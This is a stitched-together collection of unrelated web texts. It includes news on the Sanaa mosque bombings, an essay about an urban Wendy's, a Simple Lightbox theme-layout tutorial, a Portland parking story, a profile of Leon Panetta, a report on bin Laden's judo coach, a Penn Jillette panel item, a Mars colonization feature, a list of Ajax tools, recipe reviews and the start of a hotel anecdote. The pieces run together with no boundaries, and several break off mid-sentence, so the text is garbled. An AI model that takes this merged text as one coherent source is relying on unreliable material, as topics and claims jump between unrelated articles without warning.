"The dominant group there is al Qaeda in Yemen. ISIS and al Qaeda in Yemen can't stand each other," Cruickshank said. "But... whoever is responsible, I think, (is) trying plunge the country into civil war."
That's a complication for a number of parties, including the United States, which until the Houthis took Sanaa had counted on the Yemeni government for support in its long-running battle against AQAP.
Blasts inside, outside mosques
In Friday's assaults at Al Badr mosque and Al Hashoosh mosque in Sanaa, the first blasts happened inside the buildings, followed two minutes later by explosions outside, perhaps to target those fleeing the preliminary blasts, two senior Houthi leaders in Sanaa said.
At Al Badr mosque, the outdoor explosion was another suicide bombing; at Al Hashoosh mosque, the exterior blast was a car bomb, the two leaders said.
"We check people and watch at times, but it's a mosque, and we can't check everyone who enters," said Ali Al Emad, a Houthi security worker at Al Hashoosh mosque.
The mosques serve members of the Zaidi sect of Shiite Islam, the sect to which the rebel Houthi militants belong.
Among the wounded are 40 people who are in critical condition; they will be sent to Jordan for treatment, reported Saba, which is controlled by the Houthis.
AQAP, which last year vowed to attack Houthi loyalists throughout Yemen, issued a statement saying it had nothing to do with Friday's bombings.
Houthis have Sanaa, launched airstrike in Aden
The mosque attacks came six months after the Houthis -- who have long felt marginalized by the majority Sunnis in Yemen and have battled the central government for more than a decade -- entered Sanaa. That sparked battles that left than 300 people dead before a ceasefire was agreed to that month.
The Houthis gradually took control, seizing the presidential palace in January and forcing President Hadi to resign.
Hadi initially was put under house arrest, but he escaped last month, fleeing to the southern port city of Aden and declaring himself still President.
The Houthis took control of military forces stationed near Sanaa, including the air force, as they overtook the |
’s.
Because this one was built in the classic Wendy’s architectural style,
and not in any way that acknowledged its dense urban surroundings, it
has one of those greenhouse-like dining rooms with windows that look
out over two streets. I’ve always found the Wendy’s solarium to be a
nice touch for diners, but, against a sidewalk, it means that
pedestrians have the pleasure of an up-close look at what people are
eating. I like seeing what people eat. I also get to see how people
treat a space like a Wendy’s dining room, which can be equally
interesting. Some will sit there for a while after eating, reading or
doing crossword puzzles below plastic ivy in hanging baskets. I’ve seen
some who sit there for hours and just stare out the window. A lot of
these people are recurring characters in the Wendy’s tableau.
At the same time, there are a bunch of bars in the area, plus a
methadone clinic down the street, so sometimes you get more than the
crossword-puzzle crowd. It’s not uncommon for people to use the small
alcove on the building’s side as a bathroom. Last week I saw a guy
passed out in the solarium, his face held up by a small Frosty cup.
Sleeping at this Wendy’s is, in fact, neither rare nor (judging from
the amount of people who do) discouraged.
That there’s only a tiny undrivable alley behind Wendy’s and my
apartment presents additional problems. This means that trash trucks
can’t collect from the rear, so the restaurant must store its garbage
in a room that opens to the street. When it’s time to clean that room,
the dirty water runs all over the sidewalk. This leaves behind a greasy
film, a slippery layer of fat that makes you wish you were walking
through the urine instead. And about once a week, not too long after
the restaurant’s 1 a.m. close, a loud tractor trailer parks on one
street, lowers a metal ramp down into the store, and a delivery man
unloads cases of hamburger meat, French fries, and chicken nuggets. If
you’re asleep, you wake up; if you’re trying to get home to sleep, you
have to climb over a metal ramp.
For four years, nothing but the menu changed at this Wendy’s. Then,
a few months ago, they installed a game called Stacker on the wall next
to the condiment counter. In Stacker, a square slides across a row on a
video screen until you stop it by hitting a button, at which point a
new square will start sliding across the next row. Successfully sack
the squares and you can win anything from fake teeth to an iPod. I’ve
never seen Stacker in a fast food restaurant before, and I’ve yet to
see anyone in Wendy’s play it. Random, right?
And yet… For all the nuisance its brings to the neighborhood, for
its effrontery to smart urban design, for all its weirdness and
smells, the Wendy’s works in some strange way. Maybe it’s the nature of
living in a city, where relationships are as complex, as give and take,
as any family’s. Sure there are people who pee on the side of the
Wendy’s, but some people have pets who pee on their furniture, and that
actually seems worse. Wendy’s does leave the sidewalk greasy, but other
people have neighbors that they can only speak to through Dr. Phil. At
the Border’s around the corner from me, employees wake you if they find
you asleep in one of those oversized chairs tucked into bends in
bookshelves (I know this first-hand), but nobody will wake you up at
Wendy’s. And on rare occasions, say once a year, I’ve found that a
soft-boiled egg broken over a Wendy’s baked potato makes for an OK
dinner when the refrigerator is empty.
At the end of the day, I guess it’s better than living in one of
those weird ghost towns of foreclosured McMansions. You can’t win an
iPod there. • 10 December 2008Layouts give you amazing control over Simple Lightbox’s appearance and functionality. This tutorial will show you how to create a custom layout for your lightbox theme.
Note: For an overview of themes in general, read Simple Lightbox: Anatomy of a Theme.
It’s Just HTML
You don’t have to worry about learning a complex programming language to create a custom layout for the lightbox. If you are familiar HTML, you can create a custom layout.
For example, here is the HTML layout used by SLB’s default theme:
<div class="slb_container"> <div class="slb_content"> {{item.content}} <div class="slb_nav"> <span class="slb_prev"> {{ui.nav_prev}} </span> <span class="slb_next"> {{ui.nav_next}} </span> </div> <div class="slb_controls"> <span class="slb_close"> {{ui.close}} </span> <span class="slb_slideshow"> {{ui.slideshow_control}} </span> </div> <div class="slb_loading"> {{ui.loading}} </div> </div> <div class="slb_details"> <div class="slb_inner"> <div class="slb_data"> <div class="slb_data_content"> <span class="slb_data_title"> {{item.title}} </span> <span class="slb_group_status"> {{ui.group_status}} </span> <div class="slb_data_desc"> {{item.description}} </div> </div> </div> <div class="slb_nav"> <span class="slb_prev"> {{ui.nav_prev}} </span> <span class="slb_next"> {{ui.nav_next}} </span> </div> </div> </div> </div>
Class Names Matter
Class names assigned to HTML elements in the layout allow you to easily target and style specific elements using CSS. However, it is important to choose the class names wisely.
While efforts are made to keep a site’s default styles from affecting the lightbox’s layout, using common class names such as content is not recommended.
Note how the class names in the layout above are prefixed with slb_ (e.g. slb_content, slb_nav, etc.) to ensure that the site’s styles do not alter the lightbox’s appearance.
Note: Adding IDs to elements in the layout is not recommended as there may be multiple lightboxes using your theme on the same page. Therefore, only classes should be assigned to layout elements.
Template Tags
Template Tags make it super simple to add dynamic content or interactive functionality to the lightbox.
Basic Structure
The basic structure of a template tag is as follows:
{{tag-name.tag-property}}
All template tags are enclosed by 2 sets of curly brackets ( {{ / }} ).
Within the curly brackets you put the template tag’s name ( tag-name ) and the specific property ( tag-property ) you want to access for that tag. Most template tags have a variety of properties that you can use to add different data or functionality to the lightbox.
Let’s look at the 2 template tags used in the sample layout.
Item
A lightbox is used to display an item (an image, a video, etc.). The item template tag gives you access to the current item’s properties.
Properties
content — The item’s content (image, video, etc.). At the very least, a layout should contain a tag using this property.
— The item’s content (image, video, etc.). At the very least, a layout should contain a tag using this property. title — The item’s title.
— The item’s title. description — The item’s description. For items in your site’s media library, this property outputs the value of the Description field from the library.
— The item’s description. For items in your site’s media library, this property outputs the value of the field from the library. source — The source URI for the item’s content (e.g. http://site.com/image-file.jpg )
— The source URI for the item’s content (e.g. ) permalink — The URI for the item’s dedicated page (e.g. the attachment page for an image in your site’s media library – http://site.com/image-attachment/ ). If an item does not have a dedicated page, then this value is the same as the source property.
Example Usage
{item.content} // Outputs the item's content
UI: User Interface
The ui template tag allows you to quickly add interactivity to the lightbox.
Properties
loading — Lightbox loading indicator.
— Lightbox loading indicator. close — Button to close the lightbox.
— Button to close the lightbox. nav_prev — Button to navigate to the previous item in a group of items.
— Button to navigate to the previous item in a group of items. nav_next — Button to navigate to the next item in a group of items.
— Button to navigate to the next item in a group of items. group_status — The position of the currently displayed item within a group of items. This property uses the format defined by SLB’s Slideshow status format option.
— The position of the currently displayed item within a group of items. This property uses the format defined by SLB’s option. slideshow_control — Button to start/stop the automatic slideshow in the lightbox.
Example Usage
{{ui.close}} // Outputs close button in layout
Adding the Layout to Your Theme
Now that you’ve created a custom layout, it’s time to add it to your lightbox theme.
Save the layout to the theme’s directory (e.g. layout.html ) and then reference the file when registering your theme:
// Theme registration function my_custom_lightbox_theme($themes) { // Theme Properties $properties = array ( 'layout' => '[base_path]/layout.html', // other theme properties... ), ); // Register custom theme $themes->add('my_custom_theme', $properties); } // Hook into theme initialization add_action('slb_themes_init','my_custom_lightbox_theme');
Note: All theme assets (including layout files) must be defined using absolute URIs or paths relative to the site’s root directory. Therefore, replace [base_path] in the code above with a value appropriate for your lightbox theme. See the theme overview for more information.
Layouts are Simple
You may have realized it by now, but the driving force behind Simple Lightbox is to keep things as simple as possible.
Just a bit of HTML sprinkled with a few template tags is all it takes to customize the lightbox as little or as much as you need to. You can even rearrange or remove elements entirely from an existing theme simply by creating a child theme with a custom layout.
Have fun creating custom layouts and be sure to let me know if you have any questions about layouts in SLB themes!
RelatedLook for the price of parking to continue to rise. (KATU)
Free parking is getting harder to come by in Portland, and a Portland State University professor who studies transportation and urban behavior says that could be a good thing for the city and for residents.
Professor Kelly Clifton believes it’s only going to get worse for drivers here.
“Free parking is going to be harder and harder to find not just in Portland, but anywhere in the United States,” Clifton told KATU.
Part of the problem with free parking -- is the price.
Time limits help cycle people in and out, but when you give something away for free, it gets snagged up pretty quickly.
"It's been underpriced as a commodity, as an asset for almost as long as we've had cars," Clifton said. "And I think now we realize that we have to manage it like any other resource."
Clifton says limited parking at businesses will make drivers look for spots in neighborhoods.
That will make parking scarcer outside your home and at newly built apartment buildings.
But that could be good for your rent, she said.
“When you look at the cost of parking relative to say housing, supplying parking in these multi-family apartments makes it more expensive for the developers,” Clifton explained. "So those are spaces that could be developed more intensely to provide more units.”
In other words, freeing space for parking reduces the space for housing.
Clifton says more density will encourage people to find other ways to get around -- like ride-shares, public transit, and bicycles.
For areas requiring parking permits, Clifton says the money should be cycled back into the neighborhood to give commuters more options, and to improve public transportation for everyone.
“While you may lose something in terms of the ability to park for free, you'll be able to gain something in terms of ultimately better access to and management of that parking resource,” Clifton said.
Still, the lack of parking may be seen as a thorn in the Rose City. But people like Clifton say finding other ways to move around will help the city blossom.
She said Portland city officials are working to increase those transportation options every day, as is the private sector.The president appoints 16 members to his Cabinet, in addition to many other high-profile positions. Some members of President Obama’s first-term Cabinet announced their departure after the first term ended, and the president has nominated replacements for many of them. Here is how the second-term team is shaping up.
President Obama’s Cabinet The president appoints 16 members to his Cabinet, in addition to many other high-profile positions. Some members of President Obama’s first-term Cabinet announced their departure after the first term ended, and the president has nominated replacements for many of them. Here is how the second-term team is shaping up. Pablo Martinez Monsivais/AP
What you need to know about the president’s revamped team.
What you need to know about the president’s revamped team.
What you need to know about the president’s revamped team.
As he prepares to retire to his California walnut farm this month, Defense Secretary Leon E. Panetta is still fighting the battle that has consumed his entire tenure at the Pentagon: an increasingly desperate campaign to persuade Congress not to whack defense spending.
In recent days, Panetta, 74, has uttered near-apocalyptic warnings about what will happen if Congress does not do something by March 1 to avert a “doomsday scenario” under which the Defense Department could be required to slash $43 billion in spending in the next seven months, and as much as $500 billion in the next decade.
Those cuts, he told lawmakers last week, would turn the mighty U.S. military “into a second-rate power” and would force the Obama administration to throw its entire national-security strategy “out the window.”
He has warned that naval operations in the Pacific would shrink by a third. All military training would slow to a crawl. And almost every civilian employee at Defense could be furloughed, as much as one day a week for the rest of the fiscal year.
At a farewell ceremony Friday at Fort Myer, President Obama praised Panetta, saying, “No one has raised their voice as firmly or as forcefully on behalf of our troops as you have.”
Obama also urged Congress to work out a new deal with him to avoid what he called “massive, indiscriminate cuts that could have a severe impact on our military preparedness.”
He added, “There is no reason, no reason for that to happen.”
It is the same message that Panetta has delivered, so far to no avail, almost every day since he took over as defense secretary in July 2011. The next month, he was saddled with the task of shrinking the military after Obama and Congress agreed to cut $487 billion in projected defense spending for the next 10 years.
But that was just the first swing of the ax. Under the rest of the deal, the Pentagon would be forced to cut $500 billion more in the same period if lawmakers and the White House could not come up with another, more palatable way to reduce the nation’s record deficits.
It appears highly unlikely that Congress and the White House will reach a deal to spare the Pentagon before Panetta retires. It will fall to his successor — Obama has nominated former senator Chuck Hagel (R-Neb.) for the job — to manage any further cuts. But Panetta’s failure to prevent what he described as the worst-case scenario will mark the end of an otherwise influential and colorful career in Washington that has spanned four decades.
The high point came in May 2011 when, as CIA director, Panetta oversaw the successful and daring strike that killed al-Qaeda leader Osama bin Laden. Along the way, he served as White House chief of staff during the Clinton administration and as chairman of the House Budget Committee, where he earned a reputation as a skillful negotiator on fiscal issues.
It was largely for his budget and legislative expertise that Obama tapped Panetta to lead the Pentagon, which now faces a wrenching consolidation after years of growth fueled by the wars in Iraq and Afghanistan.
As defense secretary and as CIA chief, the gregarious and guffaw-prone Panetta got along well with Congress. He was unanimously confirmed by the Senate to lead the Pentagon and maintained a good rapport even with the most hard-nosed lawmakers.
“I feel I’ve been jerked around by every CIA director,” Sen. Barbara A. Mikulski (D-Md.), groused during a hearing Thursday, “with the exception of Mr. Panetta.”
Panetta’s relationships on Capitol Hill, however, have been insufficient to overturn the automatic defense cuts. The legislative gridlock has prompted him to vent his criticism of Congress in more personal terms than in the past.
During a visit to a U.S. military base in Italy last month, he questioned lawmakers’ courage, contrasting their inaction to his troops’ willingness to give their lives for their country.
“You take the worst risks of all, which is that somebody may shoot you and you may die,” Panetta said. “It’s a hell of a risk. You know, all we’re asking of our elected leaders is to take a small part of the risk that maybe, you know, they’ll piss off some constituents.”
Panetta’s full-throated lobbying to preserve the defense budget has surprised some former colleagues, who remember his willingness to downscale the military after the Cold War when he served in Congress and later as budget director in the Clinton administration.
Gordon Adams, an American University professor of foreign policy who worked with Panetta at the White House in the 1990s, said he was “almost flabbergasted” by the defense secretary’s resistance to cuts this time around.
With the end of the wars in Iraq and Afghanistan, compounded by the nation’s heavy debts, Adams said Panetta should recognize that the Pentagon will inevitably have to downsize further.
“If you hear all of the rhetoric, you’d think the sky is falling,” Adams said. “But it’s not doomsday.”
In the short term, analysts said, the Pentagon may have made things more painful for the military by refusing to plan for the worst.
Throughout Panetta’s tenure, defense officials have assumed that Congress would eventually overturn the automatic cuts, so they kept spending at their usual rate instead of saving. Now, with the federal fiscal year almost half over, the Pentagon might have to slash $43 billion from its annual budget by the end of September instead of having a full year to absorb the reductions.
In effect, Panetta and the White House were betting that lawmakers would see the automatic defense cuts as so harmful that they would blink and change their minds. If the Pentagon had moved earlier to trim spending, it risked making the cuts appear manageable, analysts said.
“There is this sort of gamesmanship or brinkmanship that is involved,” said Andrew F. Krepinevich, president of the Center for Strategic and Budgetary Assessments, a national security think tank in Washington. “I think Panetta walked that line pretty well. It’s easy to understand why he’d want to delay.”
In a speech Wednesday at Georgetown University, Panetta made a last-ditch attempt to persuade Congress to come to the Pentagon’s rescue. He warned lawmakers that they risk a voter revolt if the cuts go forward, recalling public anger at the legislative gridlock that briefly shut down the federal government in 1995 and 1996.
“Same damn thing is going to happen again if they allow this to occur,” he said.Taiwan judo coach says Osama bin Laden was a serious student
Osama bin Laden stood out not just because of his height but because of his serious, conservative demeanour, according to a Taiwan man who says the al Qaeda leader, killed by U.S. troops on Monday, was a student in his judo classes in Saudi Arabia.
Jimmy Wu, a top Taiwan judo coach, told Reuters in an interview on the sidelines of a tournament in the central city of Taichung that he came across bin Laden when coaching the Saudi Arabian national judo team from 1981 to 1991.
Bin Laden, whom Wu then knew only as “Osama”, attended classes at the judo centre while still a university student. He was too tall for judo, and Wu said he advised him against the sport, but he was insistent so Wu accepted him.
“I didn’t know the name bin Laden then,” Wu said. “After 9/11 (attacks on New York and Washington), I was invited to a seminar, and some of my former students there said ‘oh Jimmy, Osama, now he’s our hero’. I was surprised and I looked for some pictures and I said ‘oh this guy’ and I started to have some memory of him.”
Wu showed Reuters photographs of himself and a tall, thin, bearded, serious young man with a mop of black hair whom he said was Osama. Osama attended lessons two to three times a week but Wu never saw him again after 1984.
Reuters has no way of verifying that the man in the pictures was bin Laden.
Wu remembered an occasion when his wife came to find him at the judo center. She had wanted to go shopping and Wu was late.
“She came into the centre and most of the students weren’t bothered, some smiled, but one really tall one came to me and said ‘who is that?'”
Wu replied that it was his wife.
“The tall one said ‘this is the center, no women should be in here’. He did not approve. I have a particular memory of this. That was Osama.”Share. "It's where our culture is." "It's where our culture is."
Penn Jillette, magician and co-creator of the bizarre unreleased SEGA CD game, Desert Bus, expressed his support for the video game industry this morning at DICE, defending it as an art form and shooting down the notion it breeds violent behavior.
While Jillette doesn't play very many games himself, the famed magician wasn't afraid to defend the medium during this morning's panel with Gearbox Software's Randy Pitchford, titled "Assumptions and Expectations with Interactivity and Magic."
"It’s where our culture is. It’s what’s important," Jillette said of video games, likening its cultural relevance to that of Rock and Roll's popularity a few decades ago. "I just don’t draw a line at art," he added. "There's one show business, and we're all in it." He also didn't hesitate to lump the medium in with other art forms, saying, "it’s the 21st century, stop beating up artists."
Jillette also discussed with Pitchford the similarities between magic and video games, highlighting the importance of perceived choice. One of the greatest challenges, according to Jillette, "is to have someone make a totally free choice, put their attention exactly where they want" and be aware of that choice.
Exit Theatre Mode
Having the ability to "exploit a certain kind of trust" with the audience is crucial, he explained, noting the ability to discern the location of a person's attention is "the most important skill a magician can have." Likewise, it is just as important for game designers to be able to give the player a choice, but at the same time direct them and be aware of their decision.
Alex Osborn is a freelance writer for IGN. You can follow him on Twitter.There will come a time when we leave this planet. Not on a fleeting sortie into space, but to establish a home in another part of our solar system. Our moon, Venus, and Saturn’s moon Titan have all been put forward as potential hosts for human life, but the idea of living on the Red Planet, Mars, has captured the collective imagination of mankind more than any other.
Past missions to space have brought forth many new technologies. The development of computerized tomography (CT) scanners, satellite television, freeze-dried food, and cordless tools all owe something to our incursions into space. But the challenges of colonizing space—as opposed to just visiting—are vastly greater than any we’ve faced as a species. The solutions to those challenges, from 3D-printed hearts to synthetic foods, will change life here on Earth forever, even before we set foot on other planets.
Why travel to Mars?
More habitable worlds than Mars have been discovered outside our solar system. TRAPPIST-1, the system boasting seven planets which can all potentially support life, is 39 light years away. That means if we were able to travel at the speed of light—a feat which is currently well beyond our reach, technologically—it would still take us 39 years to travel the 229 trillion miles. The fastest spacecraft ever launched—New Horizons, which flew past Pluto in 2015—would take 817,000 years to reach TRAPPIST-1’s location.
Until we learn how to fold space and time, the practical choices for colonization are in our own solar system. Here, scientists are mainly split into two camps. Some believe we should return to the Moon and settle people on a lunar base before venturing further. Others believe we should strike out to Mars first.
Among those who believe in the priority of a Moon mission is the Waypaver Foundation, a nonprofit supporting the science and technology needed for lunar settlement. “The Moon is the gateway to the rest of the solar system,” says Nick Arnett, founder of Waypaver. “To us, it’s not the Moon or Mars. It’s the Moon, then Mars. Making use of lunar resources could make a Mars mission much cheaper.”
Other options are Titan, one of Saturn’s moons, which could hold vast energy resources; and Venus, the closest neighbor of Earth. But the atmosphere on Venus is furnace-like, due to extreme greenhouse effects, and Titan is made more difficult by the hydrocarbons raining from the sky.
Mars has always been the destination of choice in pop culture, and the same is true in real life. A journey to the planet would take approximately six months using current spacecraft, if both planets are aligned properly for the shortest possible journey.
As you would imagine, NASA has plans to go to Mars, and they stretch out over decades. The agency has sent rovers, landers, and orbiters to the planet—and the next one, the Mars 2020 rover, will study the local availability of key resources like oxygen. NASA is using the International Space Station to conduct tests on how the human body copes with living in space for prolonged periods of time. Research is also being undertaken on communication methods which will be vital for any manned mission to the Red Planet.
The Mars Rover | Courtesy of NASA
Between 2018–2030, NASA will move experiments to what it calls the “Proving Ground”, an area of space days away from Earth and near the Moon. During this phase, a technique called Solar Electric Propulsion (SEP)—using energy from solar arrays to propel a spacecraft—will be tested. The final stage will begin in the early 2030s, when NASA will send humans to a low orbit around Mars. “Mars is the next tangible frontier for human exploration, and it’s an achievable goal,” their website says. “There are challenges to pioneering Mars, but we know they are solvable. We are well on our way to getting there, landing there, and living there.”
In March 2017, the U.S. Congress passed a NASA authorization bill that, among other things, gave the green light for the agency to attempt to reach “near or on the surface” of Mars in the 2030s. Donald Trump signed the bill the same month, which mentions Mars and Mars-related programs 28 times. SpaceX CEO Elon Musk said: “This bill changes almost nothing about what NASA is doing. Existing programs stay in place and there is no added funding for Mars.”
And according to some Mars experts, NASA is not showing enough ambition in its goals. Dr. Robert Zubrin is CEO and founder of the Mars Society, a space advocacy organization. He says NASA is using flimsy excuses to delay a more immediate mission.
“The radiation hazard of flying to Mars and back is an additional one percent chance of getting cancer at some stage in your life. Smokers assume 20 percent more risk,” he explains. “Ten-year-old kids, when it snows, they use it as an excuse not to go to school. NASA has been using radiation as a snow day. There’s radiation in space. You go to any foreign country and there are diseases your body has a weak defense against. But you go.
“Acts of courage are valuable in themselves. If we as a society say we’re not going to do something until it’s safe, we run the risk of falling into decay.”
Space exploration has come a long way since NASA put men on the surface of the Moon, and part of the reason is the rise of private space companies. SpaceX is probably the most prominent of these companies. Musk announced in September 2016 the company is planning to build the most powerful rocket ever built, combining it with a spaceship that will have the capacity to carry at least 100 people to Mars. In September 2016, at the International Astronautical Congress in Guadalajara, Mexico, Musk said the reusable rocket will help humanity establish a permanent colony on Mars within the next 50 to 100 years.
“What I really want to do here is to make Mars seem possible—make it seem as though it’s something that we could do in our lifetimes, and that you can go,” Musk said in his presentation.
An artist’s impression of SpaceX’s approach to Mars | Courtesy of SpaceX
Another high-profile mission to the Red Planet is run by Mars One, an organization with the goal of establishing a permanent human presence on Mars. A call was put out for volunteers to be among the first group to live on Mars, with the caveat that they would never return to Earth. Over 2,000 people applied, and that number is being whittled down to a final 100 hopeful colonists.
The current Mars One timeline, which has already been delayed, would see an unmanned mission depart in 2022. The first humans would then head to Mars starting in 2031, with subsequent crews leaving every 26 months after that.
Whether it’s private companies or government organizations, the race to Mars is well and truly on. That doesn’t just mean rockets and spaceships, but plenty of other technologies needed to support life in a truly hostile environment.
The Mars Robot Population
It’s highly likely that any humans sent to the Red Planet would be preceded by robots capable of doing some of the groundwork. As Mars is so far away, robots deployed there will have to deal with the same communications issues Mars rovers encountered in the past few years. Unless there is a drastic leap in communications technology—which shouldn’t be ruled out completely—robots on Mars cannot be controlled in real time, which means they have to be at least semi-autonomous.
“On Mars, one of NASA’s missions is to create robots for pre-deployment of assets,” says Professor Sethu Vijayakumar, Director of the Edinburgh Centre of Robotics. “You need all types of robots for this, horses for courses, different robots for different tasks.”
Vijayakumar and his team recently worked with a team of scientists at NASA’s Johnson Space Center in Texas to build Valkyrie, a humanoid robot designed with Mars in mind. Despite this achievement, he believes these kinds of robots still have a long way to go before they can be used on the surface of Mars.
“The level of autonomy is not where we need it to be. There are challenges with navigation. Primarily we need more advances in algorithms, and that’s what we’re doing right now,” says Vijayakumar, whose team is also working on how to create robotics capable of performing shared tasks, meaning they are safe to work alongside humans. Another use for robots in colonization will be to conduct spacewalks to repair ships and space stations, particularly those located near Earth. “We have astronauts doing spacewalks to repair things. But every time we launch there is more debris—this makes it even more dangerous for humans, even in reinforced suits, to repair things. So, we will need robots to do that.”
The potential benefits for us here on Earth lie in the technology which enables robots to be autonomous. As experts work on new and more sophisticated algorithms to make a robot operate on its own on Mars’ surface, the same technology can be deployed here. Sensing capabilities also need to improve, and this will lead to smarter and faster autonomation in self-driving cars, manufacturing robots, and many more areas. Building humanoid robots such as Valkyrie also has the potential to unlock advancements in prosthetics and exoskeletons.
“We have a notion of robotics on a particular scale,” says Vijayakumar. “When the technology develops, we’ll see new scales and extremes, like nanobots that can operate inside the human body, and on the other end are massive robots that could 3D-print a house.”
Water on Mars?
Mars is not a hospitable planet. Around 4.2 billion years ago, it lost its magnetic field, meaning it was exposed to the powerful solar winds that originate from our sun. Those solar winds are stripping Mars of its atmosphere, turning it into a cold, dry planet where no known life could survive.
So at present, would-be Mars colonists face the unwelcome prospect of taking all the food and water needed with them, with regular replenishment shipped from Earth. Heavy cargoes are extremely expensive to get off the surface of Earth, let alone ship all the way to Mars. Given it could cost as much as $43,000 to ship a bottle of water to the International Space Station, it’s crucial from a budget standpoint to keep cargoes to a minimum.
There are several strategies being pursued to ensure at least some food and drink can be produced on Mars. The first of these is perhaps the simplest, and will be familiar to anyone who’s seen the 2015 Matt Damon movie The Martian. As the surface is so cold, the plants would be grown either indoors or underground. But there’s another problem: to take a huge amount of soil and other nutrients to Mars would be as heavy as transporting the food. So, scientists are figuring out how well they can grow plants and vegetables in Martian soil.
Wieger Wamelink, a researcher from Wageningen University in the Netherlands and an advisor to the Mars One project, has been attempting to grow food in soil comparable to that found on Mars. “Since we don’t have Mars soil on Earth, we use a simulant that we get from NASA,” Wamelink says. The soil on Mars is extremely dry and salty, but does contain the nutrients needed to grow vegetables. In this soil, Wamelink and his team have grown a number of vegetables, like peas, tomatoes, radishes, and rye. But there is still work to be done. The researchers aim to ensure that the next generation of seeds to come from the initial vegetables will be viable. There seem to be no ill effects in some species, but others have not been able to germinate. “For garden cress and peas we had seeds that did not germinate, though over fifty percent still did. It is not uncommon that some seeds will not germinate; a 100% score is rare, even though we had that for rye. We did have indications that the germination of the two species would be less, the seed weight was lower and visual inspection already showed that some seeds looked dead. Why this exactly is we do not know yet,” Wamelink explains.
He goes on to suggest that it would be beneficial to take bacteria to Mars as well, in an effort to increase crop yields. Fertilizer won’t be a problem, of course, as astronauts and colonists will produce plenty themselves.
Providing the construction of the agricultural building was completed and a supply of energy was established, Wamelink’s packing list for a garden on Mars is surprisingly short, but does contain two items that stand out: bees and worms. The worms would enable natural recycling and improve the quality of the soil, while the bees would be used to help pollinate certain plants like tomatoes and cress.
How Wamelink imagines a home on Mars | Courtesy Wageningen University
Another project has raised hopes that potatoes could even survive on the surface of the planet. The International Potato Center (CIP)—yes such an organization exists—launched a series of experiments to see if potatoes can grow in the atmospheric conditions of Mars, and results were promising. The project started in February 2016 and involves planting tubers into a hermetically sealed environment inside a specially constructed CubeSat (a type of satellite) that can mimic the conditions of Mars. The experiment used soil from the Peruvian desert instead of Martian soil. The potatoes were specifically bred to withstand the extreme conditions of Mars, and were able to grow tubers in the soil.
But how does growing food on Mars under these conditions benefit us on Earth? “The simulants we used—one comes from a Hawaiian volcano. The simulant for Martian soil comes from the Arizona desert,” explains Wamelink. “If we are successful in growing plants on Mars, we can help food production on Earth.” This would be particularly useful in areas where the land is not well-suited to growing crops, and where food scarcity becomes a killer.
Climate change is making it increasingly difficult to grow crops in some regions, and these types of projects prove that crops can survive in terrible circumstances. “The results indicate that our efforts to breed varieties with high potential for strengthening food security in areas that are affected, or will be affected by climate change, are working,” CIP potato breeder Walter Amoros said about the successful test in Peru.
Synthetic food
There’s a very small chance any large animals will be taken on a colonization mission, meaning meat, for one thing, won’t be readily available. But if synthetic meat can be manufactured or printed in the colony, then the menu for explorers can become quite diverse.
One company working on the molecular construction of food and drink is Ava Winery, which is aiming to sell the finest wines, copied and created molecule by molecule. “It can be done anywhere in the world, as long as you have the starting components,” says co-founder Alec Lee. He says the next logical step for the technology is to make it using printers at home, although Ava’s plan is |
1. JavaScript tools that provide methods for making Ajax calls
Tool Description Dojo Toolkit The Dojo Toolkit is a suite of JavaScript tools available for free. It provides methods for making Ajax calls to normal web pages as well as Representational State Transfer (REST) services. The Dojo Toolkit methods support XML, JSON, and plain text for message formats. Google Web Toolkit (GWT) Designer Google recently acquired Instantiations Developer Tools and relaunched it as a suite of free products. One of them is GWT Designer, which you can install on top of an existing installation of Eclipse. You can use the designer to help you build interfaces using the GWT. The GWT lets you build complex web applications that use Ajax, which enables web applications to be nearly as complex as native applications. Similar to Rich Ajax Platform (RAP), GWT is more than a JavaScript framework, but rather a Java™-based toolkit that compiles to Ajax-enabled HTML. jQuery jQuery is another JavaScript library that provides a full complement of Ajax functions. jQuery also supports different message formats and other Ajax-based methods, such as getScript(), which downloads a JavaScript file (a derivation of the Preload Components best practice) and executes it. Prototype Prototype is also a JavaScript framework that you can use to make easy Ajax calls. Using methods such as the Ajax.PeriodicalUpdater, you can update values in your Ajax page on a periodic basis, which lets you implement controls such as progress bars or other status for long-running service processes. Rich Ajax Platform (RAP) Unlike the other frameworks listed in this table, RAP is a full platform that enables you to build better Ajax-enabled sites using the Eclipse integrated development environment (IDE) and Java (not JavaScript) code, similar to building a Swing or Standard Widget Toolkit (SWT) application. For Java programmers who don't want to deal with the complexity of HTML, CSS, and JavaScript code, a platform tool such as RAP can be a good alternative. The RAP documentation warns not to install it as a plug-in onto an existing installation of Eclipse. Rather, download the Eclipse for Rich Client Platform (RCP) and RAP Developers bundle from the Eclipse site (see Related topics) and install it into a separate location. A cheat sheet demonstrates how to import a sample project.
Summary
Using Ajax in your web applications can provide your users with smoother web application interfaces. Ajax already provides some improvement over transmitting full HTML pages, but adopting the best practices in this article can help you begin building better Ajax applications.
Downloadable resources
Related topics248
This was an absolutely stunning recipe! Melt in your mouth delicious filet mignon with a cream sauce worthy of this excellent cut of meat. The crab stuffing was wonderful, not too over powerin...
I'm giving this recipe 2 stars (for time), flavor deserves 5. BEWARE! It takes much longer than 1 1/2 hours to make. Start it about 3 hours before you plan on serving (2 1/2 if you plan on ma...
COLLEY411 81 29
This was an absolutely stunning recipe! Melt in your mouth delicious filet mignon with a cream sauce worthy of this excellent cut of meat. The crab stuffing was wonderful, not too over powerin... Read more
VORCHA 221 269
After reading many of the reviews, I made the following adjustments, made the crab stuffing (doubled) and the sauce the night before because it is time comsuming to waiting for it to reduce. Al... Read more
VLLYBY1 64 33
I'm giving this recipe 2 stars (for time), flavor deserves 5. BEWARE! It takes much longer than 1 1/2 hours to make. Start it about 3 hours before you plan on serving (2 1/2 if you plan on ma... Read more
MORRELLKH 81 3
This is the best recipe I have - I altered it a bit, which reduced the time it takes to prepare and the ingredients. Crab stuffing - sautee minced onion and red pepper, mix with crab meat, brea... Read more
Cindy in Pensacola 3k 775
I really wish I could give this 100 stars! I didn't make the crab stuffing but I'm rating this for the sauce. It was one of the best things I've ever made from this website. First, let me say... Read more
MIALAW 147 20
If you want to impress someone make this recipe. I used pork tenderloin and used bay spice in the stuffing that someone had mentioned. I broiled the stuffed filets to brown them and then finis... Read more
Justin 0 2
I have been wanting to try this recipe for some time now, but as others have said, you need to be able to allocate enough time to really do it right. I felt that overall, this dish isn't all th... Read more
chele 1 1
I made this for Father's Day, 2005. Both my father and husband said this was one of the best meals they had ever had. My husband said he wished he could have "Tivoed" the dinner, it was just th... Read moreRecently my friend checked-in to a hotel and wound up in an interesting negotiation. He was staying for two nights and he wanted another room for the second night. He inquired if any rooms were available.
